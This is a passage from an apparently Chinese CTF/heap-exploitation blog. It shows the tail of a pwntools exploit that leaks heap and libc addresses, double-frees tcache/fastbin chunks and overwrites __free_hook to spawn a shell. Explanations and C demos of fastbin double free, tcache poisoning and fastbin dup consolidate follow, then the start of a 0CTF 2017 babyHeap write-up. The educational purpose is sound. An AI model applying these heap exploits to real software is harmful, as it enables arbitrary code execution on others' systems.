sla(b"idx:", str(idx).encode('ascii'))
sa(b"content:", content)

def delete(idx : int, c : str):
choice(3)
sla(b"idx:", str(idx).encode('ascii'))
sla(b"(y/n):", c.encode('ascii'))

def show(idx : int):
choice(4)
sla(b"idx:", str(idx).encode('ascii'))
# -------------------------------------

def raddr():
return u64(rl().strip(b'\n').ljust(8, b'\x00'))

def log(s, addr):
print('%s --> 0x%x'%(s, addr))

if __name__ == "__main__":
# leak heap
new(b"123")
new(b"123")
delete(1, 'y')
delete(0, 'y')
new(b"1") # '1' will not cover address
show(0)
ru(b"Content:")
heap_addr = raddr() - 0x231 # In 0x231, 0x31 <-> '1', 0x2 is tail of prev addr
log("Heap addr", heap_addr)

# Allocate chunk at heap+0x68
delete(0, 'y')
new(p64(0)*7+p64(0x61)+p64(heap_addr+0x68)) # chunk 0
new(b"123") # chunk 1

for i in range(7):
delete(0, 'n') # double free chunk 0 to tcache
delete(1, 'y') # free chunk 1 to fastbin
delete(0, 'y') # free chunk 0 to fastbin

new(b"123")
new(b"123")

# Create fake chunk and leak libc
delete(1, 'y')
new(p64(0))
edit(0, p64(0)*3+p64(0xa1))

delete(0,'y')
edit(1,p64(0))
new(b"123")

delete(0,'y')
edit(1,p64(0))
new(p64(0x21)*9)

delete(0,'y')
edit(1,p64(heap_addr+0x280))
new(b"123")

for i in range(0x7):
delete(0,'n')
delete(0,'y')

edit(1,p64(heap_addr + 0x260))
new(b"A"*0x20)
show(0)

ru(b"A"*0x20)
libc_addr = raddr() - 0x1B2C78
log("Libc address", libc_addr)
delete(0,'y')

print(hex(libc_addr), hex(libc.symbols['__free_hook']), hex(libc.symbols['system']))
print(hex(libc.symbols['__free_hook'] + libc_addr))
print(hex(libc.symbols['system'] + libc_addr))
#gdb.attach(p, gdbscript=f"")
#pause()

# modify __free_hook
# edit(1, p64(libc.symbols['__free_hook'] + libc_addr))
edit(1, p64(0x1b55a8 + libc_addr)) # __free_hook
# new(p64(libc.symbols['system'] + libc_addr))
new(p64(0x46840 + libc_addr))
edit(1, b'/bin/sh\x00')

choice(3)
sla(":",str(1))
p.interactive()

image-20241031192211277

image-20241031192228300

image-20241031192248938

image-20241031192310501

Fastbin 二次释放

由于 fastbin 是单链表(仅通过 fd 链接),而 unsorted bin、small bin 等是双向链表,当 chunk 被释放时,不会清空 next_chunk 的 prev_inuse,这使得 fastbin 比较脆弱。针对 fastbin 的攻击方法有二次释放、修改 fd 指针并申请任意位置的 chunk。

 Fastbin 很容易导致双重释放漏洞,这是因为 chunk 释放到 fastbin 的时候仅检查 fastbin 的头部 chunk 地址、大小是否是现在这个正在被释放的 chunk 的地址、大小,意思就是,在两次调用 free(b) 之间,插入一个 free(a),就能够绕过检查。

 忽略 tcache 的存在,运行如下程序,出现(fastbin 的 next 指针指向 chunk 的起始地址):

1
2
3
4
5
6
7
8
9
10
11
void *a = malloc(8);
void *b = malloc(8);
void *c = malloc(8);
fprintf(stderr, "malloc a: %p\n", a);
fprintf(stderr, "malloc b: %p\n", b);
fprintf(stderr, "malloc c: %p\n", c);

free(a);
free(b);
free(a);
fprintf(stderr, "free a => free b => free a\n");

image-20241111162447126

 假设能够在栈上随意写入(例如 stack_var 被赋值为 0x21,作为 fake chunk 的 size,改成 0x21 的原因是:当我们修改了 chunk 的 fd,使其指向 fake chunk 时,就相当于 fake chunk 作为 free chunk 被链接进了 fastbin,那么在执行 malloc 函数时,就需要检查该 chunk 的 size 大小是否与其所在的 fastbin 相匹配),且可以修改 chunk 的内容,那么就可以利用二次释放获取 chunk,修改其 fd 指针指向任意伪造的 chunk(任意可写内存)。

1
2
3
4
unsigned int stack_var = 0x21;
unsigned long long *g = (unsigned long long *)malloc(8);
// overwrite fd
*g = (unsigned long long)(((char*)&stack_var) - sizeof(g));

image-20241111222550674

 Libc-2.26 的 tcache 也很容易二次释放,而且还不检查大小。因此类似于 fastbin,也可以作上述攻击:修改 tcache bin 中 chunk 的 fd 指针为目标位置,也就是改变 tcache entry 的 next 指针,在调用 malloc() 时即可在目标位置得到 chunk。

1
2
3
4
5
6
7
8
9
int main()
{
int64_t *p1, *p2, *p3, target[10];
p1 = malloc(0x30);
free(p1);
*p1 = (int64_t)target;
p2 = malloc(0x30);
p3 = malloc(0x30); // Target address
}

 还有一种绕过 fastbin 二次释放检查的方法,叫做 fastbin dup consolidate。Libc 在分配 large chunk 时,如果 fastbins 不为空,则调用 malloc_consolidate() 合并里面的 chunk,并放入 unsorted bin,之后 unsorted bin 中的 chunk 又被取出放回对应的 bins。此时 fastbins 被清空,再次释放时也就不会触发一次释放。如下所示:

1
2
3
4
5
6
7
8
9
10
void* p1 = malloc(8);
void* p2 = malloc(8);
fprintf(stderr, "malloc two fastbin chunk: p1=%p p2=%p\n", p1, p2);
free(p1); // Finally put to small bin
fprintf(stderr, "free: p1\n");
void* p3 = malloc(0x400);
fprintf(stderr, "malloc large chunk: p3=%p\n", p3);
free(p1); // Finally put to fastbin
fprintf(stderr, "double free p1\n");
fprintf(stderr, "malloc two fastbin chunk: %p %p\n", malloc(8), malloc(8));

Fastbin chunk 的 next chunk 的 PREV_INUSE 永远为 1,这是因为防止 bin 自己合并了。如果将该 chunk 放到 unsorted bin 中,相应的 PREV_INUSE 将会改为 0。下图展示了 chunk p1 同时存在于 fastbins 与 small bin 的情景:

image-20241112163252710

0CTF 2017 babyHeap

 malloc 与 colloc 相比,colloc 会进行初始化为 0 的操作。整个程序中其实有两个 size,一个是结构体的 size,被传递给 calloc 作为参数,另一个是字符串长度的 size,表示要输出的内容。看一下程序的安全机制:

image-20241112225559330

 因为开了 PIE(程序上的地址空间随机化),所以要泄露 libc 的地址。另外还开起了 Full RELRO,即 .dynamic、.got 只读,且禁止延迟绑定,导入符号开始时就解析,因此不能通过修改 GOT 表劫持程序的控制流。因此考虑 hook malloc 函数,触发 one-gadget 得到 shell。

 如何泄露 libc 的地址?将一个要放入 fastbin 的 chunk(fastbin 的大小是 16-80 字节)和一个要放入 small bin (small bin 的大小是 112-1024 字节)的 chunk 进行重叠然后释放后者,即可通过打印前者的数据得到需要的地址。

image-20241112232103409

程序一开始是没有 heap 的,当第一次 malloc 时,就有了 heap,是由 brk 调用的。在关闭 ASLR 的情况下,bss 段的末尾地址等于 heap 的起始地址,而在开启 ASLR 的情况下,这两个地址之间其实是存在一段随机偏移的。程序使用 chunk 分配函数(选项为 1)分配 4 个 chunk,

留言

© 2024 wd-z711

⬆︎TOP